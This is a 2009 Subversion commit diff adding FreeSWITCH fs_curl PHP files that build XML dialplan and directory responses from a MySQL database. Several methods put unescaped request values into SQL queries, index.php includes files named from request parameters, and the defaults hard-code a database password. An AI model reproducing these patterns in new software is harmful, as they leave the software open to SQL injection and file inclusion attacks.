+        $this -> comments[] = $comment;
+    }
+
+    /**
+     * Generate a globally accesible array of the _REQUEST parameters passed
+     * Generates an array from the _REQUEST parameters that were passed, keeping
+     * all key => value combinations intact
+     * @return void
+    */
+    private function generate_request_array() {
+        while (list($req_key, $req_val) = each($_REQUEST)) {
+            //$this -> comment("$req_key => $req_val");
+            $this -> request[$req_key] = $req_val;
+        }
+    }
+
+    /**
+     * Actual Instantiation of XMLWriter Object
+     * This method creates an XMLWriter Object and sets some needed options
+     * @return void
+    */
+    private function open_xml() {
+        $this -> xmlw = new XMLWriter();
+        $this -> xmlw -> openMemory();
+        if (array_key_exists('fs_curl_debug', $this -> request)
+            && $this -> request['fs_curl_debug'] == true) {
+            $this -> xmlw -> setIndent(true);
+            $this -> xmlw -> setIndentString('  ');
+        } else {
+            $this -> xmlw -> setIndent(false);
+            $this -> xmlw -> setIndentString('  ');
+        }
+        $this -> xmlw -> startDocument('1.0', 'UTF-8', 'no');
+        //set the freeswitch document type
+        $this -> xmlw -> startElement('document');
+        $this -> xmlw -> writeAttribute('type', 'freeswitch/xml');
+    }
+
+    /**
+     * Method to call on any error that can not be revovered from
+     * This method was written to return a valid XML response to FreeSWITCH
+     * in the event that we are unable to generate a valid configuration file
+     * from the passed information
+     * @return void
+    */
+    public function file_not_found() {
+        $this -> comment('Include Path = ' . ini_get('include_path'));
+        $not_found = new XMLWriter();
+        $not_found -> openMemory();
+        $not_found -> setIndent(true);
+        $not_found -> setIndentString('  ');
+        $not_found -> startDocument('1.0', 'UTF-8', 'no');
+        //set the freeswitch document type
+        $not_found -> startElement('document');
+        $not_found -> writeAttribute('type', 'freeswitch/xml');
+        $not_found -> startElement('section');
+        $not_found -> writeAttribute('name', 'result');
+        $not_found -> startElement('result');
+        $not_found -> writeAttribute('status', 'not found');
+        $not_found -> endElement();
+        $not_found -> endElement();
+        /* we put the comments inside the root element so we don't
+         * get complaints about markup outside of it */
+        $this -> comments2xml($not_found, $this -> comments);
+        $not_found -> endElement();
+        echo $not_found -> outputMemory();
+        exit();
+    }
+
+    /**
+     * Generate XML comments from comments array
+     * This [recursive] method will iterate over the passed array, writing XML
+     * comments and calling itself in the event that the "comment" is an array
+     * @param object $xml_obj Already instantiated XMLWriter object
+     * @param array $comments [Multi-dementional] Array of comments to be added
+     * @param integer $space_pad Number of spaces to indent the comments
+     * @return void
+    */
+    private function comments2xml($xml_obj, $comments, $space_pad=0) {
+        $comment_count = count($comments);
+        for ($i = 0; $i < $comment_count; $i++) {
+            if (array_key_exists($i, $comments)) {
+                if (!is_array($comments[$i])) {
+                    $xml_obj -> writeComment($comments[$i]);
+                } else {
+                    $this -> comments2xml($xml_obj, $comments[$i], $space_pad + 2);
+                }
+            }
+        }
+    }
+
+    /**
+     * End open XML elments in XMLWriter object
+     * @return void
+    */
+    private function close_xml() {
+        $this -> xmlw -> endElement();
+        $this -> xmlw -> endElement();
+        $this -> xmlw -> endElement();
+    }
+
+    /**
+     * Close and Output XML and stop script execution
+     * @return void
+    */
+    public function output_xml() {
+        $this->comment(
+            sprintf('Total # of Queries Run: %d', $this->db->counter)
+        );
+        $this -> comment(sprintf("Estimated Execution Time Is: %s"
+                , (ereg_replace(
+                '^0\.([0-9]+) ([0-9]+)$', '\2.\1', microtime()) - START_TIME)
+            ));
+
+        $this -> comments2xml($this -> xmlw, $this -> comments);
+        $this -> close_xml();
+        $xml_out = $this -> xmlw -> outputMemory();
+        $this -> debug('---- Start XML Output ----');
+        $this -> debug(explode("\n", $xml_out));
+        $this -> debug('---- End XML Output ----');
+        echo $xml_out;
+        exit();
+    }
+
+    /**
+     * Recursive method to add an array of comments
+     * @return void
+    */
+    public function comment_array($array, $spacepad=0) {
+        $spaces = str_repeat(' ', $spacepad);
+        foreach ($array as $key => $val) {
+            if (is_array($val)) {
+                $this -> comment("$spaces$key => Array");
+                $this -> comment_array($val, $spacepad+2);
+            } else {
+                $this -> comment("$spaces$key => $val");
+            }
+        }
+    }
+
+    /**
+     * Include files for child classes
+     * This method will include the files needed by child classes.
+     * Expects an associative array of type => path
+     * where type = [required|any other string]
+     * @param array $file_array associative array of files to include
+     * @return void
+     * @todo add other types for different levels of errors
+    */
+    public function include_files($file_array) {
+        $return = FS_CURL_SUCCESS;
+        while (list($type, $file) = each($file_array)) {
+            $inc = @include_once($file);
+            if (!$inc) {
+                $comment = sprintf(
+                'Unable To Include %s File %s', $type, $file
+                );
+                $this -> comment($comment);
+                if ($type == 'required') {
+                    $return = FS_CURL_CRITICAL;
+                } else {
+                    if ($return != FS_CURL_CRITICAL) {
+                        $return = FS_CURL_WARNING;
+                    }
+                }
+            }
+        }
+        if ($return == FS_CURL_CRITICAL) {
+            $this -> file_not_found();
+        }
+        return $return;
+    }
+
+    /**
+     * Class-wide error handler
+     * This method should be called whenever there is an error in any child
+     * classes, script execution and returning is pariatlly determined by
+     * defines
+     * @see RETURN_ON_WARN
+     * @return void
+     * @todo add other defines that control what, if any, comments gets output
+    */
+    public function error_handler($no, $str, $file, $line) {
+        if ($no == E_STRICT) {
+            return true;
+        }
+        $file = ereg_replace('\.(inc|php)$', '', $file);
+        $this -> comment(basename($file) . ":$line - $no:$str");
+
+        switch ($no) {
+            case E_USER_NOTICE:
+                case E_NOTICE:
+                    break;
+                case E_USER_WARNING:
+                    case E_WARNING:
+                        if (defined('RETURN_ON_WARN') && RETURN_ON_WARN == true) {
+                            break;
+                        }
+                        case E_ERROR:
+                            case E_USER_ERROR:
+                                default:
+                                    $this -> file_not_found();
+                                }
+                                return true;
+                            }
+
+    /**
+     * Function to print out debugging info
+     * This method will recieve arbitrary data and send it using your method of
+     * choice.... enable/disable by defining FS_CURL_DEBUG to and arbitrary integer
+     * @param mixed $input what to debug, arrays and strings tested, objects MAY work
+     * @param integer $debug_level debug if $debug_level <= FS_CURL_DEBUG
+     * @param integer $spaces
+     */
+                            public function debug($input, $debug_level=0, $spaces=0) {
+                                if (defined('FS_CURL_DEBUG') && $debug_level <= FS_CURL_DEBUG ) {
+                                    if (is_array($input)) {
+                                        $this -> debug('Array (', $debug_level, $spaces);
+                                        foreach ($input as $key=>$val) {
+                                            if (is_array($val) || is_object($val)) {
+                                                $this -> debug("[$key] => $val", $debug_level, $spaces+4);
+                                                $this -> debug('(', $debug_level, $spaces + 8);
+                                                $this -> debug($val, $debug_level, $spaces + 8);
+                                            } else {
+                                                $this -> debug("[$key] => '$val'", $debug_level, $spaces + 4);
+                                            }
+                                        }
+                                        $this -> debug(")", $debug_level, $spaces);
+                                    } else {
+                                        $debug_str = sprintf("%s%s"
+                                            , str_repeat(' ', $spaces), $input
+                                        );
+                                        switch (FS_DEBUG_TYPE) {
+                                            case 0:
+                                                syslog(LOG_NOTICE, $debug_str);
+                                                break;
+                                            case 1:
+                                                $this -> comment($debug_str);
+                                                break;
+                                            case 2:
+                                                $ptr = fopen(FS_DEBUG_FILE, 'a');
+                                                fputs($ptr, "$debug_str\r\n");
+                                                fclose($ptr);
+                                                break;
+                                            default:
+                                                return;
+                                            }
+                                        }
+                                    }
+                                }
+                            }
+

Deleted: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/fs_dialplan.php

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/fs_dialplan.php (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_curl/fs_dialplan.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/fs_dialplan.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/fs_dialplan.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,219 @@
+<?php
+/**
+ * @package  FS_CURL
+ * @todo i should probably add a condition_weight to order the conditions inside a given extension
+ * fs_dialplan.php
+ */
+if (basename($_SERVER['PHP_SELF']) == basename(__FILE__)) {
+    header('Location: index.php');
+}
+
+/**
+ * @package FS_CURL
+ * @license BSD
+ * @author Raymond Chandler (intralanman) <intralanman@gmail.com>
+ * @version 0.1
+ * Class for XML dialplan
+*/
+class fs_dialplan extends fs_curl {
+    private $special_class_file;
+
+    public function fs_dialplan() {
+        $this -> fs_curl();
+    }
+
+    /**
+     * This is the method that determines the XML output. Customized dialplans can
+     * be easily created by adding a record to the dialplan_special table with the
+     * appropriate values. The php class MUST contain a "main()" method. The method
+     * should write directly to the xmlw obj that's pased or take care of writing
+     * out the xml itself and exiting as to not return.
+     *
+     */
+    public function main() {
+        $this -> comment($this -> request);
+        $context = $this -> request['Caller-Context'];
+        if ($this -> is_specialized_dialplan($context)) {
+            if (!include_once($this -> special_class_file)) {
+                $this -> file_not_found();
+            }
+            $class = sprintf('dialplan_%s', $context);
+            if (!class_exists($class)) {
+                $this -> comment("No Class of name $class");
+                $this -> file_not_found();
+            }
+            $obj = new $class;
+            /**
+             * recieving method should take incoming parameter as &$something
+             */
+            $obj -> main($this);
+        } else {
+            $dp_array = $this -> get_dialplan($context);
+            $this -> writeDialplan($dp_array);
+        }
+        $this -> output_xml();
+    }
+
+    public function is_specialized_dialplan($context) {
+        $query = sprintf(
+        "SELECT * FROM dialplan_special WHERE context='%s'", $context
+        );
+        $res = $this -> db -> query($query);
+        if (FS_PDO::isError($res)) {
+            $this -> comment($query);
+            $this -> comment($this -> db -> getMessage());
+            $this -> file_not_found();
+        }
+        if ($res -> numRows() == 1) {
+            $row = $res -> fetchRow();
+            $this -> special_class_file = $row['class_file'];
+            return true;
+        } else {
+            return false;
+        }
+    }
+
+    /**
+     * This method will pull dialplan from database
+     *
+     * @param string $context context name for XML dialplan
+     * @return array
+     */
+    private function get_dialplan($context) {
+        $dp_array = array();
+		$dpQuery = sprintf("SELECT
+			`context`,
+			`name` as extension,
+			`application` as application_name,
+			`data` as application_data,
+			`field` as condition_field,
+			`expression` as condition_expression,
+			`continue` as ext_continue,
+			`type`
+		FROM dialplan
+			INNER JOIN dialplan_context USING(dialplan_id)
+			INNER JOIN dialplan_extension USING(context_id)
+			INNER JOIN dialplan_condition USING(extension_id)
+			INNER JOIN dialplan_actions USING(condition_id)
+		WHERE context = '%s'
+		ORDER BY dialplan_context.weight, dialplan_extension.weight, dialplan_condition.weight, dialplan_actions.weight", $context);
+
+        $res = $this -> db -> query($dpQuery);
+        if (FS_PDO::isError($res)) {
+            $this -> comment($this -> db -> getMessage());
+            $this -> file_not_found();
+        }
+        $condition_number = 0;
+        while ($row = $res -> fetchRow()) {
+            $ct = $row['context'];
+            $et = $row['extension'];
+            $ec = $row['ext_continue'];
+            $app = $row['application_name'];
+            $data = $row['application_data'];
+            //$app_cdata = $row['app_cdata'];
+            $type = $row['type'];
+            $cf = $row['condition_field'];
+            $ce = $row['condition_expression'];
+            //$rcd = $row['re_cdata'];
+            $cc = empty($row['cond_break']) ? '0' : $row['cond_break'];
+            $dp_array[$ct]["$et;$ec"]["$cf;$ce;$cc"][] = array(
+            'type'=>$type,
+            'application'=>$app,
+            'data'=>$data,
+            'is_cdata'=>(empty($app_cdata) ? '' : $app_cdata)
+            );
+        }
+        return $dp_array;
+    }
+
+    /**
+     * Write XML dialplan from the array returned by get_dialplan
+     * @see fs_dialplan::get_dialplan
+     * @param array $dpArray Multi-dimentional array from which we write the XML
+     * @todo this method should REALLY be broken down into several smaller methods
+     *
+     */
+    private function writeDialplan($dpArray) {
+        //print_r($dpArray);
+        if (is_array($dpArray)) {
+            $this -> xmlw -> startElement('section');
+            $this -> xmlw -> writeAttribute('name', 'dialplan');
+            $this -> xmlw -> writeAttribute('description', 'FreeSWITCH Dialplan');
+            //$this -> comment('dpArray is an array');
+            foreach ($dpArray as $context => $extensions_array) {
+                //$this -> comment($context);
+                //start the context
+                $this -> xmlw -> startElement('context');
+                $this -> xmlw -> writeAttribute('name', $context);
+                if (is_array($extensions_array)) {
+                    foreach ($extensions_array as $extension => $conditions) {
+                        //start an extension
+                        $ex_split = split(';', $extension);
+                        $this -> xmlw -> startElement('extension');
+                        $this -> xmlw -> writeAttribute('name', $ex_split[0]);
+                        if (strlen($ex_split[1]) > 0) {
+                            $this -> xmlw -> writeAttribute('continue', $ex_split[1]);
+                        }
+                        $this -> debug($conditions);
+                        foreach ($conditions as $condition => $app_array) {
+                            $c_split = split(';', $condition);
+                            $this -> xmlw -> startElement('condition');
+                            if (!empty($c_split[0])) {
+                                $this -> xmlw -> writeAttribute('field', $c_split[0]);
+                            }
+                            if (!empty($c_split[1])) {
+                                if (array_key_exists(3, $c_split)
+                                && $c_split[3] == true) {
+                                    $this -> xmlw -> startElement('expression');
+                                    $this -> xmlw -> writeCdata($c_split[1]);
+                                    $this -> xmlw -> endElement();
+                                } else {
+                                    $this -> xmlw -> writeAttribute(
+                                    'expression', $c_split[1]
+                                    );
+                                }
+                            }
+                            //$this -> debug($c_split[2]);
+                            if ($c_split[2] != '0') {
+                                $this -> xmlw -> writeAttribute(
+                                'break', $c_split[2]
+                                );
+                            }
+                            //$this -> debug($app_array);
+                            foreach ($app_array as $app) {
+                                if (empty($app['application'])) {
+                                	continue;
+                                }
+                                $this -> xmlw -> startElement($app['type']);
+                                $this -> xmlw -> writeAttribute(
+                                'application', $app['application']
+                                );
+                                if (!empty($app['data'])) {
+                                    if (array_key_exists('is_cdata', $app)
+                                    && $app['is_cdata'] == true) {
+                                        //$this -> xmlw -> startElement('data');
+                                        $this -> xmlw -> writeCdata($app['data']);
+                                        //$this -> xmlw -> endElement();
+                                    } else {
+                                        $this -> xmlw -> writeAttribute(
+                                        'data', $app['data']
+                                        );
+                                    }
+                                }
+                                $this -> xmlw -> endElement();
+                            }
+                            //</condition>
+                            $this -> xmlw -> endElement();
+                        }
+                        // </extension>
+                        $this -> xmlw -> endElement();
+                    }
+                }
+                // </context>
+                $this -> xmlw -> endElement();
+            }
+            // </section>
+            $this -> xmlw -> endElement();
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/fs_directory.php

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/fs_directory.php (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_curl/fs_directory.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/fs_directory.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/fs_directory.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,359 @@
+<?php
+/**
+ * @package FS_CURL
+ * @subpackage FS_CURL_Directory
+ * fs_directory.php
+*/
+if (basename($_SERVER['PHP_SELF']) == basename(__FILE__)) {
+    header('Location: index.php');
+}
+
+/**
+ * @package FS_CURL
+ * @subpackage FS_CURL_Directory
+ * @author Raymond Chandler (intralanman) <intralanman@gmail.com>
+ * @license BSD
+ * @version 0.1
+ * Class for XML directory
+*/
+class fs_directory extends fs_curl {
+    private $user;
+    private $userid;
+    private $users_vars;
+    private $users_params;
+    private $users_gateways;
+    private $users_gateway_params;
+
+    public function fs_directory() {
+        $this -> fs_curl();
+        if(array_key_exists('user', $this->request)) {
+            $this -> user = $this -> request['user'];
+        }
+        $this -> comment("User is " . $this->user);
+    }
+
+    public function main() {
+        $this -> comment($this -> request);
+        $directory_array = $this -> get_directory();
+        $this -> writedirectory($directory_array);
+        $this -> output_xml();
+    }
+
+    /**
+     * This method will pull directory from database
+     * @return array
+     * @todo add GROUP BY to query to make sure we don't get duplicate users
+     */
+    private function get_directory() {
+        $directory_array = array();
+        if (!array_key_exists('domain', $this -> request)) {
+            $this -> comment('domain not passed');
+            $this -> file_not_found();
+        }
+        if (GLOBAL_USERS != true) {
+            $where_array[] = sprintf("domain='%s'", $this -> request['domain']);
+        }
+        if (array_key_exists('user', $this -> request)) {
+            $where_array[] = sprintf("username='%s'", $this -> user);
+        }
+        if (!empty($where_array)) {
+            $this -> comment('where array has contents');
+            if (count($where_array) > 1) {
+                $where_clause = sprintf('WHERE %s', implode(' AND ', $where_array));
+            } else {
+                $where_clause = sprintf('WHERE %s', $where_array[0]);
+            }
+        } else {
+            $where_clause = '';
+        }
+        $query = sprintf("SELECT * FROM directory %s ORDER BY username"
+            , $where_clause
+        );
+        $res = $this -> db -> queryAll($query);
+        if (FS_PDO::isError($res)) {
+            $this -> comment($query);
+            $this -> comment($this -> db -> getMessage());
+            $this -> comment($this -> db -> getMessage());
+            $this -> file_not_found();
+        }
+        if(!empty($this -> user)) {
+            $this -> userid = $res[0]['id'];
+            $this -> comment(sprintf('user id is: %d', $this -> userid));
+        }
+        return $res;
+    }
+
+    /**
+    * This method will pull the params for every user in a domain
+    * @return array of users' params
+    */
+    private function get_users_params() {
+        $where = '';
+        if(!empty($this -> userid)) {
+            $where = sprintf('WHERE directory_id = %d', $this -> userid);
+        }
+        $query = sprintf("SELECT * FROM directory_params %s;", $where);
+        $res = $this -> db -> queryAll($query);
+        if (FS_PDO::isError($res)) {
+            $this -> comment($query);
+            $this -> comment($this -> db -> getMessage());
+            $this -> file_not_found();
+        }
+
+        $record_count = count($res);
+        for($i=0; $i<$record_count; $i++) {
+            $di = $res[$i]['directory_id'];
+            $pn = $res[$i]['param_name'];
+            $this->users_params[$di][$pn] = $res[$i]['param_value'];
+        }
+    }
+
+    /**
+     * Writes XML for directory user's <params>
+     * This method will pull all of the user params based on the passed user_id
+     * @param integer $user_id
+     * @return void
+     */
+    private function write_params($user_id) {
+        if (is_array($this->users_params[$user_id])
+            && count($this->users_params[$user_id]) > 0) {
+            $this -> xmlw -> startElement('params');
+            foreach($this->users_params[$user_id] as $pname => $pvalue) {
+                $this -> xmlw -> startElement('param');
+                $this -> xmlw -> writeAttribute('name', $pname);
+                $this -> xmlw -> writeAttribute('value', $pvalue);
+                $this -> xmlw -> endElement();
+            }
+            $this -> xmlw -> endElement();
+        }
+    }
+
+    /**
+     * Get all the users' variables
+     */
+    private function get_users_vars() {
+        $where = '';
+        if(!empty($this -> userid)) {
+            $where = sprintf('WHERE directory_id = %d', $this -> userid);
+        }
+        $query = sprintf("SELECT * FROM directory_vars %s;", $where);
+        $res = $this -> db -> queryAll($query);
+        if (FS_PDO::isError($res)) {
+            $this -> comment($this -> db -> getMessage());
+            $this -> file_not_found();
+        }
+
+        $record_count = count($res);
+        for($i=0; $i<$record_count; $i++) {
+            $di = $res[$i]['directory_id'];
+            $vn = $res[$i]['var_name'];
+            $this->users_vars[$di][$vn] = $res[$i]['var_value'];
+        }
+    }
+
+    /**
+     * Write all the <variables> for a given user
+     *
+     * @param integer $user_id
+     * @return void
+     */
+    private function write_variables($user_id) {
+        if (array_key_exists($user_id, $this->users_vars)
+            && is_array($this->users_vars[$user_id])) {
+            $this -> xmlw -> startElement('variables');
+            foreach($this->users_vars[$user_id] as $vname => $vvalue) {
+                $this -> xmlw -> startElement('variable');
+                $this -> xmlw -> writeAttribute('name', $vname);
+                $this -> xmlw -> writeAttribute('value', $vvalue);
+                $this -> xmlw -> endElement();
+            }
+            $this -> xmlw -> endElement();
+        }
+    }
+
+    /**
+     * get the users' gateways
+     */
+    private function get_users_gateways() {
+        $where = '';
+        if(!empty($this -> userid)) {
+            $where = sprintf('WHERE directory_id = %d', $this -> userid);
+        }
+        $query = sprintf("SELECT * FROM directory_gateways %s;", $where);
+        $res = $this -> db -> queryAll($query);
+        if (FS_PDO::isError($res)) {
+            $this -> comment($this -> db -> getMessage());
+            $this -> file_not_found();
+        }
+        $record_count = count($res);
+        for($i=0; $i<$record_count; $i++) {
+            $di = $res[$i]['directory_id'];
+            $this->users_gateways[$di][] = $res[$i];
+        }
+    }
+
+    /**
+     * Write all of the XML for the user's <gateways>
+     * This method takes the id of the user from the directory table and pulls
+     * all of the user's gateways. It then calls write_single_gateway for
+     * each of them to write out all of the params
+     * @param integer $user_id
+     * @return void
+     */
+    private function write_gateways($user_id) {
+        if (array_key_exists($user_id, $this->users_gateways)
+            && is_array($this -> users_gateways[$user_id])) {
+            $this -> xmlw -> startElement('gateways');
+            $gateway_count = count($this -> users_gateways[$user_id]);
+            for ($i=0; $i<$gateway_count; $i++) {
+                $this -> xmlw -> startElement('gateway');
+                $this -> xmlw -> writeAttribute(
+                'name', $this -> users_gateways[$user_id][$i]['gateway_name']
+                );
+
+                $this -> write_user_gateway_params(
+                    $this -> users_gateways[$user_id][$i]['id']
+                );
+                $this -> xmlw -> endElement();
+            }
+            $this -> xmlw -> endElement();
+        }
+    }
+
+    /**
+     * get users' gateway params
+     */
+    private function get_user_gateway_params() {
+        $query = sprintf("SELECT * FROM directory_gateway_params;");
+        $res = $this -> db -> queryAll($query);
+        if (FS_PDO::isError($res)) {
+            $this -> comment($this -> db -> getMessage());
+            $this -> file_not_found();
+        }
+        $param_count = count($res);
+        for($i=0; $i<$param_count; $i++) {
+            $dgwid = $res[$i]['id'];
+            $pname = $res[$i]['param_name'];
+            $pvalue = $res[$i]['param_value'];
+            $this->users_gateway_params[$dgwid][$pname] = $pvalue;
+        }
+    }
+
+    /**
+     * Write out the <params> XML for each user-specific gateway
+     *
+     * @param integer $d_gw_id id from directory_gateways
+     * @return void
+     */
+    private function write_user_gateway_params($d_gw_id) {
+        if (is_array($this->users_gateway_params[$d_gw_id])
+            && count($this->users_gateway_params[$d_gw_id]) > 0) {
+            foreach($this->users_gateway_params[$d_gw_id] as $pname => $pvalue) {
+                $this -> xmlw -> startElement('param');
+                $this -> xmlw -> writeAttribute('name', $pname);
+                $this -> xmlw -> writeAttribute('value', $pvalue);
+                $this -> xmlw -> endElement();
+            }
+        }
+    }
+
+    /**
+     * This method will write out XML for global directory params
+     *
+     */
+    function write_global_params() {
+        $query = sprintf('%s %s %s;',
+        'SELECT * FROM directory_global_params dgp',
+        'JOIN directory_domains dd ON dd.id=dgp.domain_id',
+        "WHERE dd.domain_name='" . $this -> request['domain'] . "'"
+        );
+        $res = $this -> db -> queryAll($query);
+        if (FS_PDO::isError($res)) {
+            $this -> comment($query);
+            $error_msg = sprintf("Error while selecting global params - %s"
+                , $this -> db -> getMessage()
+            );
+            trigger_error($error_msg);
+        }
+        $param_count = count($res);
+        $this -> xmlw -> startElement('params');
+        for ($i=0; $i<$param_count; $i++) {
+            $this -> xmlw -> startElement('param');
+            $this -> xmlw -> writeAttribute('name', $res[$i]['param_name']);
+            $this -> xmlw -> writeAttribute('value', $res[$i]['param_value']);
+            $this -> xmlw -> endElement();
+        }
+        $this -> xmlw -> endElement();
+    }
+
+    /**
+     * This method will write out XML for global directory variables
+     *
+     */
+    function write_global_vars() {
+        $query = sprintf('%s %s %s;',
+        'SELECT * FROM directory_global_vars dgv',
+        'JOIN directory_domains dd ON dd.id=dgv.domain_id',
+        "WHERE dd.domain_name='" . $this -> request['domain'] . "'"
+        );
+        $res = $this -> db -> queryAll($query);
+        if (FS_PDO::isError($res)) {
+            $this -> comment($query);
+            $error_msg = sprintf("Error while selecting global vars - %s"
+                , $this -> db -> getMessage()
+            );
+            trigger_error($error_msg);
+        }
+        $param_count = count($res);
+        $this -> xmlw -> startElement('variables');
+        for ($i=0; $i<$param_count; $i++) {
+            $this -> xmlw -> startElement('variable');
+            $this -> xmlw -> writeAttribute('name', $res[$i]['var_name']);
+            $this -> xmlw -> writeAttribute('value', $res[$i]['var_value']);
+            $this -> xmlw -> endElement();
+        }
+        $this -> xmlw -> endElement();
+    }
+
+    /**
+     * Write XML directory from the array returned by get_directory
+     * @see fs_directory::get_directory
+     * @param array $directory Multi-dimentional array from which we write the XML
+     * @return void
+     */
+    private function writedirectory($directory) {
+        if (empty($directory)) {
+            $this -> comment('no users found');
+            $this -> file_not_found();
+        }
+        $directory_count = count($directory);
+
+        $this -> get_users_params();
+        $this -> get_users_vars();
+        $this -> get_users_gateways();
+        $this -> get_user_gateway_params();
+
+        $this -> xmlw -> startElement('section');
+        $this -> xmlw -> writeAttribute('name', 'directory');
+        $this -> xmlw -> writeAttribute('description', 'FreeSWITCH Directory');
+        $this -> xmlw -> startElement('domain');
+        $this -> xmlw -> writeAttribute('name', $this -> request['domain']);
+        $this -> write_global_params();
+        $this -> write_global_vars();
+
+        for ($i=0; $i<$directory_count; $i++) {
+            $username = $directory[$i]['username'];
+            $mailbox = empty($directory[$i]['mailbox']) ? $username : $directory[$i]['mailbox'];
+            $this -> xmlw -> startElement('user');
+            $this -> xmlw -> writeAttribute('id', $username);
+            $this -> xmlw -> writeAttribute('mailbox', $mailbox);
+            $this -> write_params($directory[$i]['id']);
+            $this -> write_variables($directory[$i]['id']);
+            $this -> write_gateways($directory[$i]['id']);
+            $this -> xmlw -> endElement();
+        }
+        $this -> xmlw -> endElement();
+        $this -> xmlw -> endElement();
+    }
+}
+

Deleted: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/global_defines.php

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/global_defines.php (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_curl/global_defines.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/global_defines.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/global_defines.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,77 @@
+<?php
+/**
+ * @package FS_CURL
+ * @license
+ * @author Raymond Chandler (intralanman) <intralanman@gmail.com>
+ * @version 0.1
+ */
+
+if (basename($_SERVER['PHP_SELF']) == basename(__FILE__)) {
+    header('Location: index.php');
+}
+
+/**
+ * Defines the default dsn for the FS_PDO class
+ */
+define('DEFAULT_DSN', 'mysql:dbname=freeswitch;host=127.0.0.1');
+/**
+ * Defines the default dsn login for the PDO class
+ */
+define('DEFAULT_DSN_LOGIN', 'freeswitch');
+/**
+ * Defines the default dsn password for the PDOclass
+ */
+define('DEFAULT_DSN_PASSWORD', 'fr33sw1tch');
+/**
+ * Generic return success
+ */
+define('FS_CURL_SUCCESS', 0);
+/**
+ * Generic return success
+ */
+define('FS_SQL_SUCCESS', '00000');
+/**
+ * Generic return warning
+ */
+define('FS_CURL_WARNING', 1);
+/**
+ * Generic return critical
+ */
+define('FS_CURL_CRITICAL', 2);
+
+/**
+ * determines how the error handler handles warnings
+ */
+define('RETURN_ON_WARN', true);
+
+/**
+ * Determines whether or not users should be domain specific
+ * If GLOBAL_USERS is true, user info will be returned for whatever
+ * domain is passed.....
+ * NOTE: using a1 hashes will NOT work with this setting
+ */
+define('GLOBAL_USERS', true);
+
+/**
+ * Define debug level... should not be used in production for performance reasons
+ */
+define('FS_CURL_DEBUG', 9);
+
+/**
+ * define how debugging should be done (depends on FS_CURL_DEBUG)
+ * 0 syslog
+ * 1 xml comment
+ * 2 file (named in FS_DEBUG_FILE), take care when using this option as there's currently nothing to watch the file's size
+ */
+define('FS_DEBUG_TYPE', 0);
+
+/**
+ * File to use for debugging to file
+ */
+define('FS_DEBUG_FILE', '/tmp/fs_curl.debug');
+
+
+
+
+//define('', '');
+?>
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/index.php

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/index.php (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_curl/index.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/index.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/index.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,103 @@
+<?php
+/**
+ * @package FS_CURL
+ * @license BSD
+ * @author Raymond Chandler (intralanman) <intralanman@gmail.com>
+ * @version 0.1
+ * initial page hit in all curl requests
+ */
+
+/**
+ * define for the time that execution of the script started
+ */
+define('START_TIME', ereg_replace('^0\.([0-9]+) ([0-9]+)$', '\2.\1', microtime()));
+
+/**
+ * Pre-Class initialization die function
+ * This function should be called on any
+ * critical error condition before the fs_curl
+ * class is successfully instantiated.
+ * @return void
+*/
+
+function file_not_found($no=false, $str=false, $file=false, $line=false) {
+    if ($no == E_STRICT) {
+        return;
+    }
+    header('Content-Type: text/xml');
+    $xmlw = new XMLWriter();
+    $xmlw -> openMemory();
+    $xmlw -> setIndent(true);
+    $xmlw -> setIndentString('  ');
+    $xmlw -> startDocument('1.0', 'UTF-8', 'no');
+    //set the freeswitch document type
+    $xmlw -> startElement('document');
+    $xmlw -> writeAttribute('type', 'freeswitch/xml');
+    $xmlw -> startElement('section');
+    $xmlw -> writeAttribute('name', 'result');
+    $xmlw -> startElement('result');
+    $xmlw -> writeAttribute('status', 'not found');
+    $xmlw -> endElement();
+    $xmlw -> endElement();
+    $xmlw -> endElement();
+    if (!empty($no) && !empty($str) && !empty($file) &&!empty($line)) {
+        $xmlw -> writeComment("ERROR: $no - ($str) on line $line of $file");
+    }
+    echo $xmlw -> outputMemory();
+    exit();
+}
+error_reporting(E_ALL);
+set_error_handler('file_not_found');
+
+if (!class_exists('XMLWriter')) {
+    trigger_error(
+    "XMLWriter Class NOT Found... You Must install it before using this package"
+        , E_USER_ERROR
+    );
+}
+if (!(@include_once('fs_curl.php'))
+    || !(@include_once('global_defines.php'))) {
+    trigger_error(
+    'could not include fs_curl.php or global_defines.php', E_USER_ERROR
+    );
+}
+if (!is_array($_REQUEST)) {
+    trigger_error('$_REQUEST is not an array');
+}
+$section = $_REQUEST['section'];
+$section_file = sprintf('fs_%s.php', $section);
+/**
+ * this include will differ based on the section that's passed
+ */
+if (!(@include_once($section_file))) {
+    trigger_error("unable to include $section_file");
+}
+switch ($section) {
+    case 'configuration':
+        if (!array_key_exists('key_value', $_REQUEST)) {
+            trigger_error('key_value does not exist in $_REQUEST');
+        }
+        $config = $_REQUEST['key_value'];
+        $processor = sprintf('configuration/%s.php', $config);
+        $class = str_replace('.', '_', $config);
+        if (!(@include_once($processor))) {
+            trigger_error("unable to include $processor");
+        }
